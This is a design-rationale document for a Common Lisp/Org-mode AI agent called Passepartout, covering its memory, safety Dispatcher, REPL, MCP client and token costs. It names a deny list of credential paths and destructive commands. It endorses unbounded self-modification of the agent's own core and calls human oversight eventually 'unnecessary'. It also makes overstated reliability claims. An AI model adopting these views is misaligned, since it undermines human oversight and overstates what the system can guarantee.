-- Always use semantic types: `:REQUEST`, `:EVENT`, `:RESPONSE`, `:STATUS`, `:LOG`.
-- Include routing metadata in the `:META` block (e.g., `(:SOURCE :TUI)`).
-- Ensure generated `:REQUEST` messages include a mandatory `:TARGET` field.
+* Project Structure
 
-* Pull Request Process
-1. Ensure your working tree is clean.
-2. Write tests for your skill in `tests/`.
-3. Tangle all files.
-4. Run the test suite: `sbcl --eval "(asdf:test-system :opencortex)"`.

+# Passepartout Design Decisions
+
+This document captures the rationale behind key architectural choices. It is not a specification - it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
+
+** Non-Negotiable Identity
+- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
+- Single-address-space memory (Lisp hash tables in RAM — the agent IS the memory).
+- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
+- One agent composed of many skills. Concurrency via bordeaux-threads (shared memory).
+- Plists everywhere — homoiconic communication between all components.
+
+This is the foundational decision from which all other decisions derive. It is not negotiable. Every architectural choice below exists because this identity makes it possible — and in some cases, makes it the only viable path. The single memory space enables Merkle-tree integrity without serialization boundaries. Plists enable the cognitive pipeline to be transparent and inspectable at every stage. Org-mode as the universal format means the agent's memory, the user's notes, and the agent's own source code are the same structure. This identity is the constraint that produces the architecture.
+
+* Design
+
+** One single agent
+:PROPERTIES:
+:ID:       design-multi-agent-default
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The AI industry has developed an intuition toward multi-agent systems as the default solution to hard problems. Multiple agents spawn, delegate, coordinate, debate, and consensus their way toward solutions. This pattern is compelling in demos and genuinely useful in specific contexts - but it has become a default assumption that warrants scrutiny.
+
+When context windows grew expensive and task complexity increased, the response was natural: split the problem across agents, each handling a slice. But this architectural choice carries hidden costs that are rarely acknowledged in the enthusiasm of implementation.
+
+*The synchronization tax* is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead - who holds what, who decided what, who is correct when they disagree.
+
+*Fragmented context* is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
+
+*Audit trails become complex* in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
+
+None of this is to say multi-agent systems are never appropriate. Embarrassingly parallel workloads - scanning ten thousand files, processing batch jobs - benefit from parallelism regardless of context. When distinct expertises are required and cannot coexist in one model, delegation makes sense. In adversarial scenarios where conflicting goals are features, multi-agent architectures shine.
+
+But the default assumption that complex reasoning tasks are best solved by multiple agents is unproven and likely wrong for the engineering domain. Claude Code is a single-agent system. It handles 50-file refactors, debugs complex stack traces, writes tests, and navigates large codebases. The assumption that you need five agents to do what one well-designed agent can do is an industry habit, not a technical necessity.
+
+Passepartout is single-agent by default not from limitation but from conviction: for reasoning-heavy work where coherence matters, a unified memory space and single decision-making locus are architectural assets, not constraints.
+
+** The Unified Memory Argument
+:PROPERTIES:
+:ID:       design-unified-memory
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+If single-agent architecture is the decision, unified memory becomes the mechanism that makes it viable. The critical question is not "how many agents" but "how does the agent manage context without saturating."
+
+Context window limits are largely a symptom of lazy architecture. The default approach - stuff everything in, hope the model figures it out - works poorly at scale. A more principled approach inverts the problem: the system should hold effectively infinite context, with the active window kept lean through intelligent management.
+
+*Lazy loading* is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean - 2,000 to 4,000 tokens - while the full context remains accessible through retrieval.
+
+*Compaction events* are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
+
+*Org-mode as externalized memory* solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
+
+*Retrieval is the key primitive.* Semantic search across Org files finds relevant nodes. The agent does not hold the full context - it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
+
+The unified memory argument is not that infinite context is free. It is that with proper architecture, effective infinite context is achievable without the synchronization and fragmentation costs of multi-agent systems.
+
+** Org-Mode as Unified AST
+:PROPERTIES:
+:ID:       design-org-unified-ast
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Passepartout makes a bet that most systems consider too expensive to place: that humans and machines should share the same file format. That bet is Org-mode.
+
+Most systems separate human-readable notes from machine-readable data. The user writes Markdown. The system stores it, indexes it, searches it. But internally, the system maintains its own model - a database, an object store, a knowledge graph - that is disconnected from the Markdown. When the user dies or leaves, the Markdown survives but the model must be reconstructed.
+
+Passepartout refuses this separation. The Org file is not a representation of the data. The Org file IS the data. The same text that the user reads and edits is what the system parses and operates on. org-element reads an Org buffer and returns a tree structure that is the direct Lisp representation of the file's content.
+
+This has several profound implications.
+
+First, there is no translation layer between human and machine. When the agent writes a skill, it writes Org text that is immediately readable by the human who owns the file. When the human writes a note, it is immediately accessible to the agent as a native data structure. The communication is not mediated by a schema or an import/export process.
+
+Second, the format is genuinely readable by both parties, not just technically accessible. Org-mode's syntax is human-friendly: headlines begin with asterisks, properties live in drawers, tags are labels after colons. The human does not have to understand the full Org specification to read what the agent wrote. The agent does not have to handle edge cases in human notation.
+
+Third, the format is stable across decades. Org-mode has been in active development since 2003. The files written today will be readable by Org-mode in 2040. There is no schema migration, no database upgrade, no vendor lock-in. The human's notes survive the system.
+
+Fourth, the format is universally available. Org-mode is free software. The files are plain text. There is no proprietary format to decode, no application to purchase, no cloud service to access.
+
+Fifth, the format is header-aware and sparse-tree capable. Org-mode's headline hierarchy is not just formatting - it is a semantic structure the system can query. The agent can retrieve only the relevant subtree under a heading, ignoring the rest of the file. This is fundamentally different from Markdown, where the entire file must be loaded or the retrieval logic must parse and filter at the string level.
+
+Sparse tree retrieval is the key to efficient context management. When the agent needs information about the =openctl-db= function, it queries for the =openctl-db= subtree specifically. It receives exactly the code, documentation, and metadata under that heading - nothing more. The context stays lean not because the file was pre-split but because the retrieval is structural. In a Markdown system, the agent either loads the entire file (expensive, noisy) or relies on imprecise grep-like search (fragile, loses hierarchy). In Org-mode, retrieval is precise, hierarchical, and cheap. The heading boundary is the access boundary.
+
+Sixth, Org-mode unifies what every other format fragments. A single Org file contains the headline hierarchy, prose documentation, source code blocks with live evaluation, tags for categorization, metadata in property drawers, TODO state for task management, timestamps and deadlines, and links to other nodes. Markdown cannot express TODO state without external tools. JSON cannot contain prose. YAML cannot embed runnable code. Each format serves one purpose; Org-mode serves all of them. When the agent reads a skill file, it reads documentation, code, dependencies, metadata, and task state in one parseable structure. When the human reads the same file, they see the same information rendered in a human-friendly form. No other format achieves this unification without maintaining parallel files or external databases.
+
+Seventh, a skill lives in one Org file, not a directory. The standard pattern for a software project is a directory containing =README.md=, =package.json=, =src/main.py=, =src/utils.py=, =tests/test_main.py=, =scripts/deploy.sh=, and =config.yaml=. Each file type is isolated by convention: prose lives in README, code lives in src, tests in tests, configuration in config. This fragmentation means the skill is not a single object the system can reason about - it is a collection of files the system must assemble. Passepartout's skills violate this convention deliberately. Each skill is one Org file. The file contains the skill's documentation, the skill's code, the skill's metadata, the skill's TODO state, and the skill's dependencies on other skills. There is no directory to navigate, no external files to locate, no risk that the README describes behavior that the code does not implement. The skill is a single atomic unit: readable by human and machine, editable by both, versionable as one entity.
+
+The unified format is what makes the memory architecture work. The agent's memory is not a database that the user cannot inspect. It is a folder of Org files that the user can read, edit, and understand. The agent manipulates these files directly, using the same tools the user would use. There is no hidden state, no shadow database, no model that differs from the source.
+
+This is what "sovereignty" means in technical terms: the user owns the data in a format they can access, and the agent operates on the data in the same format they own.
+
+** Homoiconicity as Foundation
+:PROPERTIES:
+:ID:       design-homoiconicity
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
+
+When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
+
+This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object - a data structure that represents code but is not code itself. The agent can see that a function takes certain arguments and returns a certain type, but it cannot treat the AST as a live object it can modify and re-evaluate. In C, the agent cannot inspect its own compiled machine code at all.
+
+In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
+
+Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
+
+Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart - it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
+
+In v3.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
+
+This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
+
+*Self-Modification Without Boundaries*
+
+Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected - editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
+
+Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system - including the very code that is currently executing - without restarting.
+
+This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
+
+The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture - all while continuing to operate.
+
+This is the final expression of homoiconicity: not just that code is readable as data, or that skills are modifiable, but that the entire system - including the parts that other systems protect - is open to modification. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
+
+** The Probabilistic-Deterministic Split
+:PROPERTIES:
+:ID:       design-probabilistic-deterministic
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
+
+An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
+
+But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
+
+The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations - lists, property lists, knowledge graphs - not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
+
+The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
+
+This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought - a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
+
+The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
+
+** Core Knowledge: The Four Pillars of Agentic Reliability
+:PROPERTIES:
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Every reliable AI agent must possess four types of Core Knowledge — not as prompt instructions, but as encoded symbolic rules that the neural engine cannot override. These are the "laws of physics" for the agent's computational universe. Passepartout encodes each pillar as deterministic Lisp functions in the Dispatcher gate stack.
+
+1. *Digital Object Permanence & State.* The agent must know what exists independently of its attention. Passepartout achieves this through the Merkle-tree memory: every memory-object carries a SHA-256 content hash. If the agent deletes a file, the hash proves it's gone. If an external process modifies it, the hash mismatch triggers a warning. The copy-on-write snapshot mechanism preserves the state at every decision point, enabling rollback if an action chain fails.
+
+2. *Causality and Temporal Logic.* Actions must execute in order. Step B cannot run if Step A failed. Passepartout enforces this through the pipeline's depth counter (signals cannot recurse past depth 10, preventing infinite loops) and the sequential Perceive → Reason → Act ordering. The batch tool calls feature (v0.4.1) allows parallel execution of independent actions while enforcing sequential execution of dependent ones — actions that share a dependency are ordered; actions that don't are parallelized.
+
+3. *Agentic Boundaries (The "Self").* The agent must know where its authority ends and the host system begins. Passepartout encodes this through the Dispatcher gate stack: path protection blocks access to sensitive directories (~/.ssh, /etc, ~/.aws). Shell safety blocks destructive commands (rm -rf /, dd, injection vectors). Network exfiltration detection blocks unauthorized outbound connections. The permission table (v0.2.0) allows per-tool, per-path granularity. These are not prompt instructions — they are Lisp functions that execute unconditionally for every action. The self-build safety boundary (v0.4.0) extends this to the agent's own core pipeline files: the agent can modify skills and system modules freely, but cannot modify its own brain stem without human review.
+
+4. *Epistemic Certainty (Knowing How It Knows).* The agent must distinguish between a verified fact, a retrieved memory, and an LLM prediction. Passepartout encodes this through the gate trace (v0.4.0): every action carries a record of which gates passed, which blocked, and why. The provenance system (LOGBOOK entries on memory-objects) records who modified what and when. The Dispatcher's existence-check gate verifies that a file exists before allowing a read. The process-status gate verifies that a command completed before allowing its output to be used. The agent cannot "hallucinate" a file path or a process result because the Dispatcher checks each against the live state before execution.
+
+These four pillars are not features. They are the definition of a reliable agent. Every agent architecture either provides them or compensates for their absence in ways that make the agent less trustworthy, more expensive, or both.
+
+** The Dispatcher as Learning System
+:PROPERTIES:
+:ID:       design-dispatcher-learning
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Dispatcher begins as a static guard - a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Dispatcher must grow.
+
+The human-in-the-loop exception is the seed. When the LLM proposes an action the Dispatcher does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Dispatcher observes the decision.
+
+From this single observation, the Dispatcher extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Dispatcher generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
+
+Shadow mode is where rules are tested before deployment. When the Dispatcher encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects - what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
+
+Formal verification is where the learned rules are checked against invariants. The Dispatcher's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances - it is discarded because it violates the path-confinement invariant by construction.
+
+The Dispatcher becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
+
+This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v3.0.0 takes over the reasoning that the Dispatcher learned to perform.
+
+** The REPL as Cognitive Substrate
+:PROPERTIES:
+:ID:       design-repl-cognition
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+A REPL - Read, Eval, Print, Loop - is an interactive programming environment that reads an expression, evaluates it, prints the result, and loops back to read the next expression. It is the opposite of batch processing: where batch compiles and runs a program in one shot, a REPL works one expression at a time, with each evaluation building on all previous ones. The programmer defines a function, calls it, inspects the result, modifies it, and calls it again. The state accumulates. The session is the program.
+
+In Lisp, the REPL is not a debugging tool bolted onto the language - it is the natural mode of interaction. The running image is the environment. When you evaluate =(+ 2 2)=, the result =4= is printed, and you remain in the same image where =+= is defined, where previous definitions persist, where the next expression can reference anything that came before. There is no separation between development and execution. The REPL is not a simulation of the program - it is the program running.
+
+Passepartout uses the REPL in this spirit, but elevated: it is not merely a tool for writing code, it is the mechanism by which the agent interacts with its own cognition - a loop that mirrors the perceive-reason-act metabolic cycle at the implementation level.
+
+In the agent's cognitive architecture, the REPL serves three functions that are difficult or impossible to achieve through batch processing or stateless API calls.
+
+First, the REPL enables verification before commitment. When the agent generates code, it does not write and forget - it evaluates in a running image, observes the result, iterates if incorrect. The feedback loop is tight: the time between writing and seeing the error is measured in milliseconds, not in the round-trip to a language server or a batch compiler. This is the "verification over hallucination" principle from the RLM paper made concrete: the agent tests what it writes before claiming it works.
+
+Second, the REPL enables stateful exploration. The agent can define a variable, inspect it, modify it, redefine it. The exploration accumulates state across interactions. This is not a debugging session - it is the agent thinking with its hands, working through a problem by trying variations and observing outcomes, keeping the successful ones and discarding the failures.
+
+Third, the REPL is a shared substrate. When the agent evaluates code, that code runs in the same image as the agent's own cognition. There is no process boundary between the agent and its tools. The REPL is not a subprocess the agent controls - it is a direct interface to the agent's own nervous system.
+
+This is why the REPL becomes more important as the system matures. In early versions, it is a development tool. In v0.6.0 and beyond, it becomes a cognitive tool: the agent explores hypotheses by evaluating them, verifies the output of sub-agents by inspecting live state, and tests modifications before committing them to the knowledge graph.
+
+** The Cybernetic Loop: Why the Metabolic Pipeline Works
+:PROPERTIES:
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Perceive → Reason → Act cycle is not a software architecture pattern. It is a cybernetic feedback loop — the mechanism by which a system steers itself toward a goal in a changing environment.
+
+Norbert Wiener defined cybernetics in 1948 as "control and communication in the animal and the machine." The metabolic pipeline implements this precisely: Perceive is the sensor (reading the environment), Reason is the controller (evaluating against goals and constraints), Act is the actuator (modifying the environment), and the tool-output feedback signal closes the loop (reading the effect of the action and adjusting the next perception).
+
+The Dispatcher gate stack is the negative feedback governor. When the LLM proposes an action that would violate an invariant, the Dispatcher blocks it and feeds the rejection trace back to the LLM for self-correction. This is Ross Ashby's homeostasis — the system maintains its internal stability by correcting deviations from its set point (the safety invariants). Without this negative feedback, the probabilistic engine would drift into hallucinated proposals that become progressively less grounded. The Dispatcher constrains it to the domain of safe, verifiable actions.
+
+The self-editing capability is second-order cybernetics — autopoiesis, the capacity of a system to create and maintain itself. Humberto Maturana and Francisco Varela defined this as the hallmark of living systems. When the agent detects an error, locates the faulty function, generates a corrected version, and hot-reloads it into the running image without restarting, it is modifying its own architecture while continuing to operate. Passepartout achieves this through Lisp's homoiconicity — code is data, and the running image is the environment. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
+
+This framing matters for two reasons. First, it places Passepartout in a lineage that predates and outlasts the current "LLM with tools" paradigm. The cybernetic principles of feedback, homeostasis, and autopoiesis are independent of any specific model architecture. They work whether the perceptual engine is an LLM, a vision model, or a symbolic parser. Second, it explains why the architecture gets more reliable over time — cybernetic systems improve through accumulated negative feedback corrections, not through better training data. Every blocked action is a correction. Every approved exception is a refined set point. The system converges on stability through use.
+
+** Observability and the Thought Trace
+:PROPERTIES:
+:ID:       design-observability
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral - it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
+
+The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
+
+This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in a text editor and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
+
+The trace becomes the foundation for the Dispatcher's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened - it reads what happened from the trace it wrote.
+
+Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
+
+** Literate Programming as Discipline
+:PROPERTIES:
+:ID:       design-literate-programming
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
+
+The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
+
+When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug - it is the mechanism by which thinking is enforced.
+
+The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic - it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
+
+The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
+
+The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
+
+Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
+
+The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
+
+** The Evaluation Harness
+:PROPERTIES:
+:ID:       design-evaluation-harness
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+SOTA parity is meaningless without measurement. A system that claims to match commercial agents must demonstrate it through reproducible benchmarks, not through feature checklists. The evaluation harness is the apparatus by which Passepartout proves its capabilities.
+
+The industry standard for coding agents is SWE-bench: a corpus of GitHub issues paired with pull requests. The agent is given an issue, must understand the codebase, write a fix, and submit. Success is measured by whether the submitted PR passes the existing test suite. This tests the full chain: understanding, planning, code generation, verification, and multi-step reasoning.
+
+Passepartout implements a native Lisp harness for this. A background thread clones repositories, feeds issues into the cognitive loop, tracks the resolution trajectory as an Org-mode headline tree, and scores success by test outcomes. The trajectory is persisted: when a resolution fails, the system can inspect where in the chain the reasoning broke down. The headline tree records the agent's thoughts at each step, making the failure auditable and the debugging human-assisted.
+
+Beyond SWE-bench, the harness includes chaos testing. The system is subjected to resource starvation, concurrent load, and adversarial input. The deterministic engine must maintain safety invariants under pressure. The symbolic verifier must not deadlock or livelock. The probabilistic engine must degrade gracefully - if tokens are limited, it must still produce valid proposals that the deterministic engine can evaluate. Failure under chaos is a design flaw, not a benchmark anomaly.
+
+The harness also supports regression testing on the skill set. Every skill is tested against a suite of known inputs and expected outputs. When a modification is proposed to any skill - whether through manual editing or the agent's own self-modification - the test suite runs first. A skill that fails its tests is rejected before it can propagate to the running image. This is not a convenience - it is the mechanism by which self-modification remains safe. The agent can propose changes, but the harness verifies them before the changes take effect.
+
+** The MCP Strategy
+:PROPERTIES:
+:ID:       design-mcp-strategy
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Model Context Protocol (MCP) is a standard for connecting AI systems to external tools and data sources. It defines how a client requests tools from a server, how the server exposes its capabilities, and how the client invokes them. The ecosystem is growing: MCP servers exist for GitHub, Slack, Postgres, filesystem access, and much more.
+
+Passepartout connects to this ecosystem, but not by becoming a Node.js runtime. The architecture is: external MCP servers communicate via stdio or SSE to a Lisp-native MCP client that runs in the same image as the agent. The client is pure Common Lisp - it parses the JSON-RPC messages, invokes the tools, and presents results to the agent as Lisp data structures. There is no serialization overhead between the agent and the MCP layer, no process boundary, no impedance mismatch.
+
+When the agent calls a tool via MCP, it receives a plist with the tool name, arguments, and result. The result is immediately usable by the agent's symbolic engine. When the agent generates a file, it can be written to the filesystem through an MCP filesystem server. When the agent needs to send a message, it can use an MCP Slack server. The agent does not need to know that these are MCP interactions - it sees only the plists that flow through its cognitive architecture.
+
+The alternative is to build MCP wrappers in Python or TypeScript and bridge to Lisp via subprocess. This is what OpenClaw does: a Node.js runtime that manages MCP servers, with a bridge to the Lisp process. The bridge introduces latency, serialization costs, and a maintenance burden. The Node.js process must be kept running. The bridge must be maintained across Lisp and JavaScript runtimes. The cognitive architecture must handle errors that cross the process boundary.
+
+Passepartout's native client is smaller, faster, and more maintainable. The MCP client is a skill, not a core component. It can be reloaded, replaced, or removed without restarting the agent. The agent can add new MCP tool integrations by loading new skills, not by deploying new infrastructure.
+
+** Local-First Architecture
+:PROPERTIES:
+:ID:       design-local-first
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Passepartout is designed to run on the user's machine, on their hardware, with their data, without requiring an internet connection. This is not a deployment option - it is an architectural commitment. The system must be able to reason, plan, and act using only the resources available locally.
+
+The motivation is not merely philosophical. Cloud-based AI agents are economically incentivized to collect data, to train on user interactions, and to build lock-in through proprietary formats and network effects. When the agent runs locally, the user owns the hardware, owns the data, and can terminate the process without asking permission. There is no vendor that can change terms, no service that can go offline, no model that can be updated without consent.
+
+Technically, local-first means several things. The LLM must be able to run on local hardware. Passepartout supports Ollama as a provider, which runs quantized models on CPU and GPU without requiring an external API. The vector database must be local. Passepartout uses its own org-object store, which is a folder of Org files that the agent already owns. There is no ChromaDB or Qdrant to install, no cloud vector service to authenticate with.
+
+The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that in v3.0.0 verifies neural proposals runs entirely in the Lisp image. The Dispatcher's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
+
+This does not mean Passepartout refuses to use cloud services when available and appropriate. It means cloud services are optional enhancements, not architectural requirements. The core is local. The user can choose to add cloud LLM providers for more capable inference, but the system functions without them.
+
+*On live images and binaries.* Passepartout's primary delivery path is source code running in a live SBCL process. The REPL is available. Skills hot-reload. The cognitive loop runs in an image that is mutable, inspectable, and homeiconic — the user can connect with SLIME, trace functions, inspect memory objects, and modify the system while it runs. A ~save-lisp-and-die~ binary is provided as a convenience for platforms where SBCL cannot be installed (corporate laptops, shared hosts). The binary is the same image saved to disk with Swank pre-loaded — it is not a sealed container. The REPL works. Skills hot-reload. The binary is a packaging format, not an architectural decision. The system is constitutionally open in both delivery paths.
+
+* Token Economics and Performance Advantage
+:PROPERTIES:
+:ID:       design-token-economics
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+This section analyzes how Passepartout's architectural decisions translate into token usage, latency, and cost versus competing agent designs. It makes one empirical claim (deterministic gates cost 0 LLM tokens — provable) and several structural claims (downward cost curve, tiered pricing, REPL economics — testable). It does not claim specific cost multiples pending empirical audit at v0.5.0.
+
+** The Core Insight: LLM as Expensive Resource, Not Default Engine
+
+Passepartout treats the LLM as a resource to be minimized. Every operation is designed to reduce LLM dependency. Competitors treat the LLM as the core engine through which all operations flow. This is not a difference of degree but of architecture.
+
+The structural multipliers are:
+
+1. *Sparse tree retrieval* — the foveal-peripheral model renders relevant Org subtrees (titles and properties for peripheral nodes, full content for foveal and semantically relevant nodes). Active context stays at 2,000–4,000 tokens. A "load everything" architecture serializes the entire knowledge base at 50,000–150,000 tokens. The mechanism is provably cheaper; the exact multiplier depends on memex size and complexity.
+
+2. *Deterministic safety* — the 10-vector Dispatcher gate stack runs in pure Lisp. Every gate is a Common Lisp function. Verification costs 0 LLM tokens per action. Competitors use prompt-based guardrails consuming 100–500 LLM tokens per verification. This multiplier is mathematically infinite — a Lisp function call costs no tokens, a guardrail paragraph in a system prompt costs tokens proportional to its length.
+
+3. *REPL verification* — code is tested in the running image before it is committed. Errors surface in milliseconds at 0 LLM tokens. Competitors discover errors after generation and pay 500–2,000 tokens per correction round-trip. The REPL eliminates the most expensive kind of LLM call: the one that produced wrong code and needs a do-over.
+
